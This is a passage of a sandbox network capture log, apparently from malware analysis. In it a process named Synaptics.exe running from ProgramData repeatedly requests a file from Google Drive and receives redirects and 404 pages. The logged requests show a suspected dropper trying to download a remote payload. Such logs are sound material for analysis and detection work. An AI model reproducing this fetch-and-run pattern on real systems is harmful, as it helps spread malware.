2024-12-30 03:59:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-vEm_S7qu6vMgkV9vCxj1Lg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49897	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:37 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-FyvgMTGBGFSbJ1ZykSr4aQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49900	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:37 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:37 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6ZyLoaYjCr-Jc-XrvFVN_QOa0zg5rYUjXF4yWWiBX3CVdzOKfd-BS-ozphNGTKaaAr Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:37 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-j_HjNlZEvZlwl8B9WK6kXw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:37 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:37 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 73 67 77 65 68 55 6a 41 51 52 66 4b 4e 37 36 54 77 61 67 41 70 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="sgwehUjAQRfKN76TwagApg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:37 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49901	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:38 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49903	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:38 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:38 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:38 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-AOy3fz3EjZp7s8mpR0BtVA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49902	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:38 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:38 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:38 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-fVswUydJgVCusezwL-QIWw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49904	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:38 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49906	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:39 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:39 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:39 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-IyNXfqBUL7FBKaAD6SvpSw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49907	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:39 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:39 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:39 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-fPNvZmSzqJwC7wCjYeQNSA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49908	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:39 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:39 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6fptvrk1rvcYhu9jn_A5I3uskYgEv56SDRQsBG9qB8z09MvacwwCAFBmhWyas9wo9K Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:39 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-Isq4iJRQMKS29y9Gs5d_yw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:39 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:39 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4f 59 64 7a 45 38 48 35 67 54 57 47 7a 62 67 76 52 54 37 41 6d 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="OYdzE8H5gTWGzbgvRT7Amg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:39 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49909	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:39 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:39 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7bJ4bfnRhBPw_5gdvkn38o9n-HGASA01bBjYi9cjCIaeYr6GIFmYrE8kWYBt8F8qCJ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:39 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-O9mM0oBOnTbNGYipsUvkVw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:39 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:39 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 31 6e 51 4e 5f 76 34 59 43 48 6d 4c 59 6c 56 64 79 6a 56 41 58 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="1nQN_v4YCHmLYlVdyjVAXw">*{margin:0;padding:0}html,code{font:15px/22px 